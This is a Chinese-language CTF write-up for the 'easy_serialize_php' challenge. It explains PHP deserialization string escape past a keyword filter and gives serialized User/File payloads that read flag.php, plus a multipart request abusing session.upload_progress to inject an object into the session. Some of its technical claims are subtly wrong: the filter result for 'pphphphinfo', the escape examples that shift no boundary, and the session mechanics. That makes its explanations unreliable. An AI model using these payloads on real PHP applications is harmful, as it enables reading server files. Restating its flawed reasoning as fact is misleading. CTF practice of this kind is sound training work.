这道题我在BUUCTF上刷的时候卡了挺久,不是因为反序列化本身多难,而是入口藏得比较深,加上filter会把关键词替换成空字符串,导致序列化数据长度对不上,直接unserialize就炸。后来把源码审计思路捋顺之后发现,这类题的核心其实就两件事:找反序列化入口,以及处理过滤规则带来的序列化长度错位。下面把完整思路、踩坑过程和payload构造方法都写出来,希望能帮到正在刷这道题的人。
1. 题目初印象:先说这道题在考什么
1.1 核心考点拆解
这道题挂着“easy_serialize_php”的名字,考点也确实很明确:PHP反序列化漏洞,外加一点点代码审计能力。它并不是那种需要复杂pop链的高级题,反而更像是一道“反序列化入门后必须掌握的题目”。
主要考点可以拆成这么几块:
- PHP序列化与反序列化的基本格式理解,比如
O:4:"User":3:{...}、s:8:"username";这类结构。 - 魔术方法的触发条件,尤其是
__destruct和__toString。 preg_replace把关键词替换成空字符串之后,如何影响序列化字符串长度。- 利用“序列化字符串逃逸”注入可控属性。
- 从题目环境中找到反序列化入口,通常藏在
$_SESSION["user"]这类来源里。
这道题还有一个很经典的提示点,就是题面里给了phpinfo入口,phpinfo能看到的session.upload_progress相关信息,直接关系到第二种解法——session反序列化。第一遍刷题的时候如果只盯着字符串逃逸,可能会漏掉这条路,但整道题的思想是通用的:用户输入经过过滤后进入unserialize,只要过滤规则不严谨,就有机会构造恶意序列化数据。
1.2 适合什么人看
如果你是刚接触CTF Web方向的新手,或者已经能看懂unserialize、__destruct这些关键词但还不会实际构造利用,那这道题可以当作业界公认的“反序列化第二课”来刷。第一课是那种直接unserialize($_GET['data'])的裸奔题目,第二课就是这种带过滤的题目。
如果你已经能独立复现这道题,也可以重点看后半部分的“字符串逃逸构造方法”和“session反序列化”延伸,这两个知识点在很多进阶题里会反复出现。尤其是过滤型反序列化,在真实代码审计、Java/PHP组件漏洞里都能看到类似的影子。
2. 信息收集与源码审计:漏洞入口是怎么漏出来的
2.1 第一步:从一级入口找源码
打开题目环境,第一眼通常是一个登录框之类的页面,直接提交没反应。这时候别急着爆破,先尝试常见的信息泄露路径:
- 访问
/index.php?source=1或者/?source=1,看是否有源码输出。 - 访问
/index.php.bak、/www.zip等备份文件。 - 尝试
?phpinfo=1,有些题目会直接暴露一个phpinfo页。
在安洵杯这道题里,通过?source=1就能看到index.php的核心源码。看到源码之后,整道题的轮廓就出来了。
源码简化后大致长这样:
<?php error_reporting(0); session_start(); $user = $_SESSION['user']; $func = $_GET["func"]; function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); } if ($user) { $user = unserialize(filter($user)); } if (isset($_GET['func'])) { $user->$func(); } else { $user->login(); } class User { public $username; public $password; public $status; function login() { $this->status = "login success!"; return $this->status; } function __destruct() { echo $this->status; } } class File { public $filename; function __toString() { return file_get_contents($this->filename); } } ?>注意,不同版本的环境或平台复现时源码可能稍有出入,有的会把$_SESSION['user']的赋值逻辑放在登录处理里,比如:
$_SESSION['user'] = $_POST['username'] . "|" . $_POST['password'];但无论入口怎么写,核心逻辑是一样的:程序会从session里取出user字段,经过filter过滤,然后交给unserialize反序列化,最后在某个时刻触发对象的方法或析构函数。
2.2 关注点:过滤函数、session、魔术方法
拿到源码后,不要急着盯一处看,先把几个关键点标出来:
第一个关键点:filter函数。
function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); }这个函数会把字符串中的flag、php、info(不区分大小写)全部替换成空字符串。比如:
flag.php经过过滤后变成.。pphphp经过过滤后变成php。pphphphinfo经过过滤后变成phpinfo。
这意味着,如果我们的序列化字符串里出现了flag、php、info这些关键词,它们会被删掉,从而破坏序列化数据里声明的长度。如果不做处理,unserialize就会解析失败或者解析出我们意想不到的结果。
第二个关键点:数据来源是$_SESSION['user']。
这意味着我们不能直接通过GET或POST一个参数就触发反序列化,必须先把payload塞进session。一般来说,题目的登录逻辑或者其他功能点会把用户可控的字符串写进$_SESSION['user'],所以做题时通常需要找到一个“写入点”。
第三个关键点:两个魔术方法。
User::__destruct():对象销毁时执行,echo $this->status。File::__toString():对象被当成字符串输出时执行,file_get_contents($this->filename)。
两个方法串起来就是一个很明显的读文件链:如果User对象的status属性是一个File对象,那么当User对象被销毁时,echo $this->status就会把File对象转成字符串,从而触发__toString(),读取File对象里filename指向的文件。
2.3 漏洞审计结论
到这里,整道题的利用思路就很清晰了:
- 我们需要构造一个
User对象,让它status属性的值是一个File对象。 File对象的filename属性指向flag文件。- 把这个序列化payload写入
$_SESSION['user'],触发unserialize(filter($user))。 - 脚本结束或对象被销毁时,
User::__destruct()输出status,File::__toString()读取flag文件。
表面上看,这就是一个普通的反序列化读文件,拦路虎只有两个:
- 怎么把payload写进
$_SESSION['user']。 - 怎么绕过
filter对flag、php、info的过滤。
第一道坎取决于具体环境,第二道坎就要靠序列化字符串逃逸了。
3. PHP反序列化逃逸:原理与手工构造
3.1 序列化格式速览
先花两分钟回忆一下PHP序列化数据的格式,后面构造payload全靠它。
一个对象序列化后大概是这样的:
O:4:"User":3:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";s:6:"status";s:4:"test";}拆开看:
O:4:"User"表示这是一个对象,类名长度是4,类名是User。:3表示这个对象有3个属性。s:8:"username"表示第一个属性名是字符串,长度8,内容是username。s:4:"test"表示属性值也是字符串,长度4,内容是test。
unserialize在解析字符串的时候,是完全信任s:长度这个声明的。它会按声明长度去读取字符,而不是按实际内容智能判断。
这就是逃逸漏洞的根本原因:当过滤函数改变了字符串的实际长度,却没有同步修改s:长度声明时,反序列化器就会按错误的长度读取数据,导致边界错位,原本应该在字符串内部的内容被挤出字符串边界,或者字符串边界被迫向后移动。
3.2 为什么会“逃逸”
这里要区分两种情况。
第一种:过滤后字符串变长。
比如某个过滤函数把a替换成bb,字符串变长了。反序列化器按原来声明的短长度读取字符串,读完之后,多出来的那部分内容就会残留在数据流里,被当成新的结构解析。这种情况我们称为“字符串增多逃逸”,恶意payload是被“挤”出来的。
第二种:过滤后字符串变短。
比如这道题的pphphp被过滤成php,字符串变短了。反序列化器按原来声明的长长度读取字符串,但实际内容不够,它就会把后面紧跟着的";、s:6:这些结构字节也当成字符串内容吞进去,导致原本的闭合边界向后移动。这种情况称为“字符串减少逃逸”。
在本题里,filter把关键词替换成空字符串,显然是变短方向。所以我们要用减少型逃逸的思路:通过在字符串值里放置占位符(比如pphphp),让过滤后长度变短,从而迫使解析器吞掉一部分我们预先放置的“填充垃圾”,最后在填充垃圾后面重新构造一个恶意的属性结构。
3.3 减少型逃逸的构造方法
先看一个最朴素的逃逸骨架。
假设我们要让unserialize解析出一段带有恶意属性的结构,但这段结构前面有一个字符串值会受到过滤影响。构造的基本原则是:
原始值 = 占位符(会被过滤变短) + 填充垃圾 + 恶意结构过滤之后:
过滤后的值 = 占位符(变短后的结果) + 填充垃圾 + 恶意结构此时,如果序列化字符串里声明的字符串长度 =len(过滤后的占位符) + len(填充垃圾),那么反序列化器按声明长度读取字符串时,就会把过滤后的占位符 + 填充垃圾全部当作字符串值,读完之后正好遇到我们预先放置的";,字符串闭合。闭合之后紧接着的恶意结构(比如s:6:"status";O:4:"File":...)就会被当成新的属性解析。
这里的关键是:减少的量必须由填充垃圾来补足,让声明长度恰好等于过滤后的实际长度,这样原本在字符串内部的闭合引号会被向后推移,给恶意结构腾出解析空间。
举个只针对pphphp的例子:
- 过滤前:
pphphp长度6。 - 过滤后:
php长度3。 - 减少了3个字节。
如果我们想让s:6这个声明在过滤后依然成立,那过滤后字符串值的实际内容必须是6个字节。但php只有3个字节,所以后面必须再跟3个字节的填充垃圾,比如xxx。
这样:
s:6:"pphphpxxx";过滤后:
s:6:"phpxxx";声明长度6,实际内容phpxxx长度也正好是6,反序列化器就能正常读取。
但这样只是让字符串合法而已,还没注入属性。要注入属性,我们要在填充垃圾后面放";加恶意结构,让字符串的闭合发生在恶意结构之前:
s:9:"pphphpxxx";s:6:"status";O:4:"File":...}过滤后:
s:9:"phpxxx";s:6:"status";O:4:"File":...}s:9声明长度9,解析器读取9个字节:phpxxx";s。读完之后,它期待字符串闭合,但这里并没有合适的";,于是解析就乱了。
正确的做法是让声明长度刚好等于过滤后的占位符 + 填充垃圾的长度,不包含后面的s:6。比如填充垃圾还是xxx,那就写成:
s:6:"pphphpxxx";s:6:"status";O:4:"File":...}过滤后:
s:6:"phpxxx";s:6:"status";O:4:"File":...}解析器读6个字节,得到phpxxx,然后看到";,字符串闭合;再看到s:6:"status";,就知道这是下一个属性键,紧接着的值就是O:4:"File":...}这个对象。
这样,我们就通过“把闭合引号向后移”的方式,在原本只打算放一个字符串值的地方,塞进了一个完整的属性结构。
3.4 构造反序列化payload
现在回到题目。我们的目标是让反序列化结果是一个User对象,并且status属性是File对象。
一个最直接、不考虑过滤的对象序列化是:
O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}但flag.php会被过滤成.,所以要先处理文件名。flag.php可以用flflagag.pphphp来绕过:
flflagag包含flag,但被过滤的是连续的flag子串。flflagag里其实包含一个flag子串(从第2个字符开始是flag),过滤后变成flag。pphphp包含php,过滤后变成php。- 最终
flflagag.pphphp过滤后就是flag.php,长度正好对应s:8。
所以File对象的序列化可以写成:
O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}接下来处理User对象和逃逸。
如果入口允许我们直接向$_SESSION['user']里写入一段完整序列化字符串,其实上面这个对象序列化经过过滤后就是合法的,直接就能用:
O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}过滤后:
O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}反序列化成功,status就是File对象,脚本结束时触发__destruct读取flag.php。
但很多版本的安洵杯题目里,$_SESSION['user']的赋值会带前缀,比如用户名|密码这种格式,或者写入时会经过额外的拼接。此时我们不能直接写完整对象序列化,而是要用逃逸把前缀“吞掉”。
假设$_SESSION['user']的格式是$username . '|' . $password,而我们只能控制username和password。这种情况下,我们要构造的字符串整体是:
逃逸前缀 + | + 恶意对象序列化由于PHP session默认使用的是php格式处理器,它把session文件内容按键|序列化值的格式存储。如果|前的内容被反序列化器读取时发生长度错位,|后面的恶意序列化字符串就可能被解析成对象。
这就是字符串逃逸在本题里真正发挥作用的地方。
构造思路是:在username位置放一个长的、会被过滤变短的字符串,然后利用减少型逃逸,让反序列化器在解析username时吞掉后面的|和一部分结构,最终把恶意对象属性解析出来。
一个实际可用的payload骨架是:
pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}如果把它作为username的值,外面套上username属性的字典结构:
a:2:{s:8:"username";s:L:"pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}其中L需要根据实际过滤结果计算。pphphp过滤后变php,少3个字节。为了让s:L读取完字符串后正好闭合,我们可以让L = 3 + 填充长度。
比如把payload写成这样:
a:2:{s:8:"username";s:6:"pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}过滤后:
a:2:{s:8:"username";s:6:"php";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}但这里s:6要读取6个字节,内容却是php";s这6个字节,导致status属性的一部分被吞掉了,反序列化会出错。
所以我们需要在pphphp后面补3个字节的填充,让s:6读取的内容正好是过滤后的php + 填充,然后才是";:
a:2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}过滤后:
a:2:{s:8:"username";s:6:"phpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}s:6读取phpabc,正好6个字节,然后遇到";,字符串闭合;接着s:6:"status"成为数组的下一个元素键,O:4:"File":...成为对应的值。
这样就实现了注入:反序列化出的数组里,status键的值是File对象。
如果题目最终要求反序列化结果直接是User对象而不是数组,那就在最外层改成O:4:"User":2:{},把逃逸放在username属性值上:
O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}过滤后:
O:4:"User":2:{s:8:"username";s:6:"phpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}这样得到的就是User对象,username是phpabc,status是File对象。当User对象销毁时,__destruct会echo $this->status,触发File::__toString(),读取flag.php。
4. 完整攻击流程:从payload到读flag
4.1 构造并提交payload
根据题目环境的写入点不同,提交方式有两种常见情况。
第一种,登录表单会把username拼接到$_SESSION['user']里。那么我们在用户名处提交:
pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}密码随便填。这样最终写入$_SESSION['user']的字符串如果被包裹在一个数组中,或者直接被当作序列化数据,经过过滤后就会变成我们想要的对象结构。
第二种,如果题目允许直接控制session值,那就直接把完整payload作为user参数提交:
O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}拿到一个可用的PHP session id,把这个payload存入对应的session文件,或者直接通过接口传参让程序写入。
4.2 触发销毁与__toString读取文件
当程序执行到脚本末尾,或者$_SESSION['user']被重新赋值导致旧对象引用计数归零时,User对象就会被销毁,__destruct()执行,输出$this->status。
此时$this->status不是普通字符串,而是一个File对象。echo操作会尝试把对象转成字符串,于是File::__toString()被触发,file_get_contents($this->filename)执行,读取flag.php的内容并输出在页面上。
整个调用链是:
unserialize(filter($user)) -> 得到 User对象(status=File对象) -> 脚本结束或对象销毁 -> User::__destruct() -> echo $this->status -> File::__toString() -> file_get_contents($this->filename) -> 输出flag文件内容这个链不需要显式调用任意方法,唯一要确保的是对象能活到触发时机,然后在合适的时候被销毁。
4.3 尝试多个flag路径
很多人在读取文件时习惯性用flag.php,但不同题目的flag存放位置不一样。常见的候选路径有:
flag.php/flag/flag.txt../flag.phpphp://filter/read=convert.base64-encode/resource=flag.php
如果第一次读取失败,可以先调整File对象的filename属性再打一次。
比如读取根目录flag:
O:4:"File":1:{s:8:"filename";s:8:"/flag";}/flag里面没有flag关键词吗?有,所以/flag会被过滤。需要用/flflagag绕过,过滤后变成/flag。长度也要相应调整。
如果环境开启了allow_url_include,还可以尝试:
php://filter/read=convert.base64-encode/resource=flag.php但注意这里面包含php和flag,都要做占位符处理,非常麻烦,实战中不如直接试路径。
如果最后读出的是flag{...},直接提交就有分了。如果是base64编码内容,先解码再提交。
5. 延伸:session反序列化与upload_progress
这道题还有一个比较进阶的玩法,就是利用PHP的session.upload_progress机制往session文件里写数据,然后通过session文件内容在session_start()时被反序列化的特性来注入对象。这个思路在很多没有显式session写入点的题目里非常管用。
5.1 PHP session的存储格式
PHP的session文件默认存储在临时目录,文件名是sess_加session id。默认的session序列化处理器是php,存储格式是:
键名|序列化值例如:
user|s:26:"O:4:\"User\":2:{...}"当session_start()读取session文件时,PHP会按|分割,把|前面的内容当作键名,后面的内容当作序列化数据,直接unserialize。
如果我们能让|后面的序列化数据变成我们构造的对象,那么$_SESSION里的某个键就会是恶意对象。如果这个键恰好是user,那么题目源码里$user = $_SESSION['user'];就会拿到这个对象。
5.2 通过上传进度在session中注入数据
session.upload_progress是PHP自带的文件上传进度功能。当我们在multipart请求里提交一个名为PHP_SESSION_UPLOAD_PROGRESS的字段时,PHP会在session数组里写入一个键值对,记录上传进度。
这个机制的关键是:上传进度字段的值会作为session数组的键名的一部分,而且这个值在写入session文件时不会被转义。如果我们在值里插入|,就能在session文件里制造一个假的键值分隔符。
比如发送下面的multipart请求:
POST /index.php HTTP/1.1 Host: target Cookie: PHPSESSID=my_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" |O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}} ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="a.txt" Content-Type: text/plain aaa ------WebKitFormBoundary--PHP处理完上传后,session文件里会写入类似这样的内容:
upload_progress_|O:4:"User":2:{...}|a:5:{...}这里upload_progress_和|之间就是键名的一部分,|后面的对象序列化字符串就被当成了对应键的值,再后面的a:5:{...}又会因为|被解析成新的键值对。
由于PHP对session文件的解析规则是取|后面的内容做反序列化,这个被我们插入的对象序列化就会被还原成User对象。虽然键名不是user,但在某些源码实现里,程序可能会遍历$_SESSION或者直接引用某个键,只要触发点对得上,一样能打通。
这种方式的优点是:不需要题目提供明显的session写入点,只要知道一个有效的session id就能尝试注入。缺点是受限于session.upload_progress.enabled是否开启,而且如果session目录不可写或者配置了其他处理器,这个方法就会失效。
5.3 与字符串逃逸的配合
如果题目在反序列化前有filter过滤,那通过upload_progress写入的payload同样要处理flag、php、info这些关键词。上面那个multipart payload里就已经做了占位符处理。
所以最稳妥的做题路线是:先审计源码确定过滤规则,再根据过滤规则决定payload怎么写,最后选择一种注入方式(字符串逃逸或session文件注入)把payload塞进去。
6. 常见问题与排查实录
6.1 反序列化报错
现象:页面直接报错,或者返回unserialize(): Error at offset之类提示。
原因:序列化数据长度不匹配,说明我们构造的payload经过filter过滤后,某个s:长度和实际内容对不上。
排查方法:把filter规则复制到本地PHP环境,写一段代码打印过滤前后的字符串,对比长度。这一步在构造逃逸payload时几乎是必须的。
我在本地测试时常用这样的调试脚本:
<?php function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); } $payload = 'O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}'; echo "before: " . $payload . "\n"; $after = filter($payload); echo "after: " . $after . "\n"; var_dump(unserialize($after)); ?>如果unserialize返回结果不是预期对象,就看看after输出里有没有长度错位。
6.2 长度计算错误
现象:payload看起来没问题,但就是不弹出flag。
原因:s:长度里的数字算错了,或者填充字符数量不对。
减少型逃逸里最核心的公式是:
声明长度 = len(过滤后的占位符) + len(填充垃圾)填充垃圾可以是任意不含敏感关键词的字符,比如abc、xxx。填充长度不需要多,够补足减少的长度就行。如果pphphp被过滤成php,减少3个字节,那就在后面补3个字节。
还有一个容易踩的坑:filter是全局正则替换,如果你在payload里使用了多个敏感词,每处替换都会减少长度,填充也要相应增加。比如flflagag.pphphp里包含了flag和php,但那个位置不需要额外填充,因为它是独立的字符串值,只要最终长度和s:8对上就行。
6.3 flag路径不确定
现象:链打通了,__toString确实执行了,但读出来的是一堆路径不存在或者空内容。
原因:filename指向的文件不对。
排查方法:先用phpinfo看当前工作目录和系统信息,判断flag可能在哪。常见路径依次尝试:
flag.php/flag../flag.php/flag.txt
每次修改filename后重新构造payload。注意:路径里的flag关键词同样会被过滤,需要做占位符处理。
6.4 session不生效
现象:通过POST提交或者直接访问,$_SESSION['user']始终为空,反序列化根本没执行。
原因:session id不一致,或者session写入点不对。
排查方法:用Burp Suite抓包,观察响应里的Set-Cookie字段。让浏览器保持同一个PHPSESSID,然后再提交带session id的后续请求。
如果使用upload_progress方式,必须保证上传请求和触发反序列化的请求使用同一个session id。有的题目环境session目录权限有问题,上传进度写入失败,这时候只能回到字符串逃逸+显式写入点的路线。
在本地搭环境复现这道题的时候,我习惯把$_SESSION['user']打印出来看,确认写入值是否被转义或拼接。很多看似玄学的问题,打印出来一眼就能看穿。
这道题刷透之后,再遇到带过滤的反序列化题目,思路就会清晰很多:拿到源码先看过滤规则,再看反序列化入口,最后决定是用字符串逃逸还是session注入。不要一上来就背payload,多花十分钟把长度计算清楚,比盲试半天管用得多。